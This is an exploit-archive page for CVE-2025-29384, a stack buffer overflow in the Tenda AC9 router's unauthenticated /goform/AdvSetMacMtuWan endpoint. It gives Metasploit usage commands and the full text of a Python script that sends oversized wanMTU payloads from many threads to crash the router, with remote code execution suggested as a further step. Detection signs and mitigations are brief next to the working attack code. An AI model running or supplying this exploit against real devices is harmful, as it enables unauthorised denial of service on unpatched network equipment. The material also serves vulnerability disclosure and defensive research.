PoC Archive PoC Archive
Critical CVE-2025-29384 unpatched

Tenda AC9 `AdvSetMacMtuWan` Stack-Based Buffer Overflow (CVE-2025-29384)

by Otsmane Ahmed · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-29384
Category
network
Affected product
Tenda AC9 dual-band wireless router, web management interface (/goform/AdvSetMacMtuWan endpoint)
Affected versions
Firmware V15.03.05.14_multi (confirmed vulnerable; no official patch identified in source repo)
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherOtsmane Ahmed
CVE / AdvisoryCVE-2025-29384
Categorynetwork
SeverityCritical
CVSS Score9.8 (per NVD)
StatusPoC
Tagstenda, ac9, router, stack-buffer-overflow, cwe-121, dos, rce, mips, embedded, iot, python, ruby, metasploit
RelatedN/A

Affected Target

FieldValue
Software / SystemTenda AC9 dual-band wireless router, web management interface (/goform/AdvSetMacMtuWan endpoint)
Versions AffectedFirmware V15.03.05.14_multi (confirmed vulnerable; no official patch identified in source repo)
Language / PlatformPython 3 PoC script and a Ruby Metasploit module, targeting embedded MIPS-based (Broadcom BCM4708) router firmware
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2025-29384 is a critical stack-based buffer overflow in the Tenda AC9 router’s web management interface, specifically in the handling of the wanMTU POST parameter sent to the /goform/AdvSetMacMtuWan endpoint. The root cause is a lack of bounds checking when the attacker-supplied wanMTU value is copied into a fixed-size stack buffer, functionally equivalent to an unchecked strcpy. The repository provides a multithreaded Python PoC (poc.py) that floods the endpoint with oversized, randomized wanMTU payloads to trigger the overflow, plus a Ruby Metasploit module (tenda_ac9_stack_overflow.rb) that sends a single oversized wanMTU value via send_request_cgi. Because the endpoint requires no authentication and is reachable over the network, a remote attacker can crash the router’s HTTP server (denial of service) and, depending on stack layout and the MIPS calling convention, potentially hijack the return address for remote code execution.


Vulnerability Details

Root Cause

The vulnerable handler behind /goform/AdvSetMacMtuWan copies the wanMTU form parameter into a fixed-size stack buffer without validating its length. The repository’s README documents a hypothetical reconstruction of the vulnerable logic:

1
2
3
4
5
void process_mtu(char *input) {
    char buffer[256];  // Fixed-size stack buffer
    strcpy(buffer, input);  // No length check, causes overflow
    // Process MTU value...
}

An oversized wanMTU value (1024+ bytes in the PoC, configurable) overflows buffer, corrupting adjacent stack memory, including potentially the saved return address, on the router’s MIPS 74Kc-based architecture.

Attack Vector

  1. Identify a reachable Tenda AC9 router’s web management interface (default http://<target_ip>/goform/AdvSetMacMtuWan).
  2. Send an unauthenticated HTTP POST request to /goform/AdvSetMacMtuWan with a wanMTU field containing a large, randomized payload (the Python PoC base64-encodes and truncates a random string to the configured size; the Metasploit module uses rand_text_alpha).
  3. The oversized value overflows the fixed-size stack buffer used to process the MTU setting, corrupting adjacent stack memory.
  4. Observe a request timeout or connection failure as evidence the HTTP server crashed (DoS); with further offset/gadget analysis on the MIPS target, this primitive could potentially be extended to control-flow hijacking for RCE.

Impact

Denial of service against the router’s web management interface (the HTTP server crashes and becomes unresponsive until reboot), with potential remote code execution on the MIPS-based device if the overflow is leveraged to overwrite the return address — all without authentication.


Environment / Lab Setup

Target:   Tenda AC9 router, firmware V15.03.05.14_multi (confirmed vulnerable)
Attacker (Python PoC): Kali Linux, Python 3.x, `requests` library
Attacker (Metasploit module): Metasploit Framework (msfconsole), Ruby, module copied into
                              ~/.msf4/modules/exploits/linux/http/

Proof of Concept

PoC Script

See poc.py and tenda_ac9_stack_overflow.rb in this folder.

1
2
3
4
5
6
7
8
python poc.py --target TARGET_IP --size 2048 --threads 10

cp tenda_ac9_stack_overflow.rb ~/.msf4/modules/exploits/linux/http/
msfconsole
use exploit/linux/http/tenda_ac9_stack_overflow
set RHOSTS TARGET_IP
set PAYLOAD_SIZE 2048
run

The Python PoC generates a randomized, base64-encoded payload of the requested size and POSTs it as the wanMTU parameter to /goform/AdvSetMacMtuWan from multiple concurrent threads; a request timeout is treated as evidence the target crashed. The Metasploit module performs the equivalent single-request attack via send_request_cgi against the same endpoint and parameter.


Detection & Indicators of Compromise

Signs of compromise:

  • Router web management HTTP server becomes unresponsive or the device reboots unexpectedly
  • Repeated large POST bodies to /goform/AdvSetMacMtuWan in network capture or reverse-proxy logs
  • Connection timeouts/resets from the router coinciding with inbound requests to the MTU-configuration endpoint

Remediation

ActionDetail
Primary fixNo official patch identified at time of mirroring — see references
Interim mitigationDisable remote/WAN administration, restrict access to the router’s web management interface to trusted LAN hosts, and monitor for crash/reboot patterns correlated with requests to /goform/AdvSetMacMtuWan

References


Notes

Mirrored from https://github.com/Fomovet/cve-2025-29384 on 2026-07-06. The repository’s README attributes the original PoC and Metasploit module authorship to “Otsmane Ahmed” and references an upstream repo at github.com/Otsmane-Ahmed/cve-2025-29384-poc; this mirror preserves that attribution as found in the source.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
import requests
import threading
import logging
import argparse
import base64
import random
import time
from concurrent.futures import ThreadPoolExecutor
from typing import Optional, Tuple

logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s [%(levelname)s] %(message)s",
    handlers=[logging.StreamHandler()]
)
logger = logging.getLogger(__name__)

TARGET_ENDPOINT = "/goform/AdvSetMacMtuWan"
DEFAULT_IP = "192.168.0.1"
HEADERS = {
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0",
    "Accept": "*/*"
}

class ExploitEngine:
    def __init__(self, target_ip: str, payload_size: int = 1024, threads: int = 5):
        self.target_url = f"http://{target_ip}{TARGET_ENDPOINT}"
        self.payload_size = payload_size
        self.threads = threads
        self.session = requests.Session()
        self.lock = threading.Lock()

    def _generate_payload(self) -> str:
        """Generate a randomized, encoded payload for obfuscation."""
        base_string = ''.join(random.choices("ABCDEFGHIJKLMNOPQRSTUVWXYZ", k=self.payload_size))
        encoded = base64.b64encode(base_string.encode()).decode()
        return f"wanMTU={encoded[:self.payload_size]}"  # Truncate to desired length

    def _send_exploit(self, attempt: int) -> Tuple[bool, Optional[str]]:
        """Send the exploit payload and handle response."""
        payload = self._generate_payload()
        try:
            logger.debug(f"Attempt {attempt}: Sending payload of size {len(payload)}")
            response = self.session.post(
                self.target_url,
                headers=HEADERS,
                data=payload,
                timeout=5,
                verify=False
            )
            return True, f"Status: {response.status_code}, Content: {response.text[:50]}..."
        except requests.exceptions.Timeout:
            return False, "Timeout - Target likely crashed!"
        except requests.exceptions.RequestException as e:
            return False, f"Exploit failed: {str(e)}"

    def _exploit_worker(self, attempt: int) -> None:
        """Threaded worker for exploit attempts."""
        success, result = self._send_exploit(attempt)
        with self.lock:
            if success:
                logger.info(f"Thread {attempt}: {result}")
            else:
                logger.warning(f"Thread {attempt}: {result}")

    def run(self) -> None:
        """Execute the exploit with multiple threads."""
        logger.info(f"Targeting Tenda AC9 at {self.target_url}")
        logger.info(f"Deploying {self.threads} threads with payload size {self.payload_size}")

        with ThreadPoolExecutor(max_workers=self.threads) as executor:
            futures = [
                executor.submit(self._exploit_worker, i)
                for i in range(1, self.threads + 1)
            ]
            for future in futures:
                future.result()  # Wait for all threads to complete

        logger.info("Exploit sequence completed. Check target status.")

def parse_args() -> argparse.Namespace:
    """Parse command-line arguments for customization."""
    parser = argparse.ArgumentParser(
        description="CVE-2025-29384 PoC - Tenda AC9 Stack Overflow Exploit",
        epilog="Use responsibly in controlled environments only!"
    )
    parser.add_argument(
        "--target",
        type=str,
        default=DEFAULT_IP,
        help="Target IP address of the Tenda AC9 router"
    )
    parser.add_argument(
        "--size",
        type=int,
        default=1024,
        help="Size of the payload to trigger overflow"
    )
    parser.add_argument(
        "--threads",
        type=int,
        default=5,
        help="Number of concurrent threads"
    )
    return parser.parse_args()

def main():
    """Main execution logic."""
    args = parse_args()
    print("[*] CVE-2025-29384 Exploit Engine - Advanced Edition")
    print(f"[*] Config: IP={args.target}, Payload Size={args.size}, Threads={args.threads}")

    engine = ExploitEngine(target_ip=args.target, payload_size=args.size, threads=args.threads)
    
    logger.info("Initializing exploit engine...")
    time.sleep(1)  
    engine.run()

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        logger.error("Exploit interrupted by user.")
    except Exception as e:
        logger.critical(f"Unexpected error: {e}")